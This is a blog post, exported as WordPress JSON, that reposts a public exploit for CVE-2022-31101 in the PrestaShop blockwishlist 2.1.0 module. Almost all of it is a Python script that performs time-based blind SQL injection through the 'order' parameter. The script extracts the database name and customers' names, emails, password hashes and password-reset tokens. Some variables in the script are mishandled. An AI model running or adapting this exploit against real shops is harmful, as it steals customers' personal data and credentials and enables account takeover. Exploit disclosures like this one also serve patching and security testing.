{"id":29059,"date":"2022-08-09T20:58:13","date_gmt":"2022-08-09T16:58:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168003\/prestashopbwl210-sql.txt"},"modified":"2022-08-10T08:08:38","modified_gmt":"2022-08-10T03:38:38","slug":"prestashop-blockwishlist-2-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/prestashop-blockwishlist-2-1-0-sql-injection\/","title":{"rendered":"Prestashop Blockwishlist 2.1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Prestashop blockwishlist module 2.1.0 &#8211; SQLi<br \/>\n# Date: 29\/07\/22<br \/>\n# Exploit Author: Karthik UJ (@5up3r541y4n)<br \/>\n# Vendor Homepage: https:\/\/www.prestashop.com\/en<br \/>\n# Software Link (blockwishlist): https:\/\/github.com\/PrestaShop\/blockwishlist\/releases\/tag\/v2.1.0<br \/>\n# Software Link (prestashop): https:\/\/hub.docker.com\/r\/prestashop\/prestashop\/<br \/>\n# Version (blockwishlist): 2.1.0<br \/>\n# Version (prestashop): 1.7.8.1<br \/>\n# Tested on: Linux<br \/>\n# CVE: CVE-2022-31101<\/p>\n<p dir=\"ltr\"># This exploit assumes that the website uses &#8216;ps_&#8217; as prefix for the table names since it is the default prefix given by PrestaShop<\/p>\n<p dir=\"ltr\">import requests<\/p>\n<p dir=\"ltr\">url = input(&#8220;Enter the url of wishlist&#8217;s endpoint (http:\/\/website.com\/module\/blockwishlist\/view?id_wishlist=1): &#8220;) # Example: http:\/\/website.com\/module\/blockwishlist\/view?id_wishlist=1<br \/>\ncookie = input(&#8220;Enter cookie value:\\n&#8221;)<\/p>\n<p dir=\"ltr\">header = {<br \/>\n&#8220;Cookie&#8221;: cookie<br \/>\n}<\/p>\n<p dir=\"ltr\"># Define static stuff<br \/>\nparam = &#8220;&amp;order=&#8221;<br \/>\nstaticStart = &#8220;p.name, (select case when (&#8221;<br \/>\nstaticEnd = &#8220;) then (SELECT SLEEP(7)) else 1 end); &#8212; .asc&#8221;<br \/>\ncharset = &#8216;abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&amp;\\&#8217;*+\/=?^`{|}~&#8217;<br \/>\ncharset = list(charset)<br \/>\nemailCharset = &#8216;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&amp;\\&#8217;*+\/=?^`{|}~.&#8217;<br \/>\nemailCharset = list(emailCharset)<\/p>\n<p dir=\"ltr\"># Query current database name length<br \/>\nprint(&#8220;\\nFinding db name&#8217;s length:&#8221;)<br \/>\nfor length in range(1, 65):<br \/>\ncondition = &#8220;LENGTH(database())=&#8221; + str(length)<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\ndbLength=length<br \/>\nprint(&#8220;Length: &#8220;, length, end=&#8221;)<br \/>\nprint(&#8220;\\n&#8221;)<br \/>\nbreak<\/p>\n<p dir=\"ltr\">print(&#8220;Enumerating current database name:&#8221;)<br \/>\ndatabaseName = &#8221;<br \/>\nfor i in range(1, dbLength+1):<br \/>\nfor char in charset:<br \/>\ncondition = &#8220;(SUBSTRING(database(),&#8221; + str(i) + &#8220;,1)='&#8221; + char + &#8220;&#8216;)&#8221;<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nprint(char, end=&#8221;)<br \/>\ndatabaseName += char<br \/>\nbreak<br \/>\nprint()<\/p>\n<p dir=\"ltr\"># Enumerate any table<br \/>\nprefix = &#8220;ps_&#8221;<br \/>\ntableName = prefix + &#8220;customer&#8221;<br \/>\nstaticStart = &#8220;p.name, (select case when (&#8221;<br \/>\nstaticEnd1 = &#8220;) then (SELECT SLEEP(7)) else 1 end from &#8221; + tableName + &#8221; where id_customer=&#8221;<br \/>\nstaticEnd2 = &#8220;); &#8212; .asc&#8221;<\/p>\n<p dir=\"ltr\">print(&#8220;\\nEnumerating &#8221; + tableName + &#8221; table&#8221;)<\/p>\n<p dir=\"ltr\">for id in range(1, 10):<\/p>\n<p dir=\"ltr\">condition = &#8220;id_customer=&#8221; + str(id)<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nprint(&#8220;\\nOnly &#8221; + str(id &#8211; 1) + &#8221; records found. Exiting&#8230;&#8221;)<br \/>\nbreak<br \/>\nexcept requests.exceptions.Timeout:<br \/>\npass<\/p>\n<p dir=\"ltr\">print(&#8220;\\nid = &#8221; + str(id))<\/p>\n<p dir=\"ltr\"># Finding firstname length<br \/>\nfor length in range(0, 100):<br \/>\ncondition = &#8220;LENGTH(firstname)=&#8221; + str(length)<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nfirstnameLength=length<br \/>\nprint(&#8220;Firstname length: &#8220;, length, end=&#8221;)<br \/>\nprint()<br \/>\nbreak<\/p>\n<p dir=\"ltr\"># Enumerate firstname<br \/>\nfirstname = &#8221;<br \/>\nprint(&#8220;Firstname: &#8220;, end=&#8221;)<br \/>\nfor i in range(1, length+1):<br \/>\nfor char in charset:<br \/>\ncondition = &#8220;SUBSTRING(firstname,&#8221; + str(i) + &#8220;,1)='&#8221; + char + &#8220;&#8216;&#8221;<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nprint(char, end=&#8221;)<br \/>\nfirstname += char<br \/>\nbreak<br \/>\nprint()<\/p>\n<p dir=\"ltr\"># Finding lastname length<br \/>\nfor length in range(1, 100):<br \/>\ncondition = &#8220;LENGTH(lastname)=&#8221; + str(length)<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nlastnameLength=length<br \/>\nprint(&#8220;Lastname length: &#8220;, length, end=&#8221;)<br \/>\nprint()<br \/>\nbreak<\/p>\n<p dir=\"ltr\"># Enumerate lastname<br \/>\nlastname = &#8221;<br \/>\nprint(&#8220;Lastname: &#8220;, end=&#8221;)<br \/>\nfor i in range(1, length+1):<br \/>\nfor char in charset:<br \/>\ncondition = &#8220;SUBSTRING(lastname,&#8221; + str(i) + &#8220;,1)='&#8221; + char + &#8220;&#8216;&#8221;<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nprint(char, end=&#8221;)<br \/>\nfirstname += char<br \/>\nbreak<br \/>\nprint()<\/p>\n<p dir=\"ltr\"># Finding email length<br \/>\nfor length in range(1, 320):<br \/>\ncondition = &#8220;LENGTH(email)=&#8221; + str(length)<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nemailLength=length<br \/>\nprint(&#8220;Email length: &#8220;, length, end=&#8221;)<br \/>\nprint()<br \/>\nbreak<\/p>\n<p dir=\"ltr\"># Enumerate email<br \/>\nemail = &#8221;<br \/>\nprint(&#8220;Email: &#8220;, end=&#8221;)<br \/>\nfor i in range(1, length+1):<br \/>\nfor char in emailCharset:<br \/>\ncondition = &#8220;SUBSTRING(email,&#8221; + str(i) + &#8220;,1)= BINARY &#8216;&#8221; + char + &#8220;&#8216;&#8221;<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nif req.status_code == 500 and char == &#8216;.&#8217;:<br \/>\nprint(char, end=&#8221;)<br \/>\nemail += char<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nprint(char, end=&#8221;)<br \/>\nemail += char<br \/>\nbreak<br \/>\nprint()<\/p>\n<p dir=\"ltr\"># Finding password hash length<br \/>\nfor length in range(1, 500):<br \/>\ncondition = &#8220;LENGTH(passwd)=&#8221; + str(length)<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\npasswordHashLength=length<br \/>\nprint(&#8220;Password hash length: &#8220;, length, end=&#8221;)<br \/>\nprint()<br \/>\nbreak<\/p>\n<p dir=\"ltr\"># Enumerate password hash<br \/>\npasswordHash = &#8221;<br \/>\nprint(&#8220;Password hash: &#8220;, end=&#8221;)<br \/>\nfor i in range(1, length+1):<br \/>\nfor char in emailCharset:<br \/>\ncondition = &#8220;SUBSTRING(passwd,&#8221; + str(i) + &#8220;,1)= BINARY &#8216;&#8221; + char + &#8220;&#8216;&#8221;<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nif req.status_code == 500 and char == &#8216;.&#8217;:<br \/>\nprint(char, end=&#8221;)<br \/>\npasswordHash += char<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nprint(char, end=&#8221;)<br \/>\npasswordHash += char<br \/>\nbreak<br \/>\nprint()<\/p>\n<p dir=\"ltr\"># Finding password reset token length<br \/>\nfor length in range(0, 500):<br \/>\ncondition = &#8220;LENGTH(reset_password_token)=&#8221; + str(length)<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nexcept requests.exceptions.Timeout:<br \/>\npasswordResetTokenLength=length<br \/>\nprint(&#8220;Password reset token length: &#8220;, length, end=&#8221;)<br \/>\nprint()<br \/>\nbreak<\/p>\n<p dir=\"ltr\"># Enumerate password reset token<br \/>\npasswordResetToken = &#8221;<br \/>\nprint(&#8220;Password reset token: &#8220;, end=&#8221;)<br \/>\nfor i in range(1, length+1):<br \/>\nfor char in emailCharset:<br \/>\ncondition = &#8220;SUBSTRING(reset_password_token,&#8221; + str(i) + &#8220;,1)= BINARY &#8216;&#8221; + char + &#8220;&#8216;&#8221;<br \/>\nfullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<\/p>\n<p dir=\"ltr\">try:<br \/>\nreq = requests.get(fullUrl, headers=header, timeout=8)<br \/>\nif req.status_code == 500 and char == &#8216;.&#8217;:<br \/>\nprint(char, end=&#8221;)<br \/>\npasswordResetToken += char<br \/>\nexcept requests.exceptions.Timeout:<br \/>\nprint(char, end=&#8221;)<br \/>\npasswordResetToken += char<br \/>\nbreak<br \/>\nprint()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Prestashop blockwishlist module 2.1.0 &#8211; SQLi # Date: 29\/07\/22 # Exploit Author: Karthik UJ (@5up3r541y4n) # Vendor Homepage: https:\/\/www.prestashop.com\/en # Software Link (blockwishlist): https:\/\/github.com\/PrestaShop\/blockwishlist\/releases\/tag\/v2.1.0 # Software Link (prestashop): https:\/\/hub.docker.com\/r\/prestashop\/prestashop\/ # Version (blockwishlist): 2.1.0 # Version (prestashop): 1.7.8.1 # Tested on: Linux # CVE: CVE-2022-31101 # This exploit assumes that the website uses &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-29059","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/29059","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=29059"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/29059\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=29059"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=29059"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=29059"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}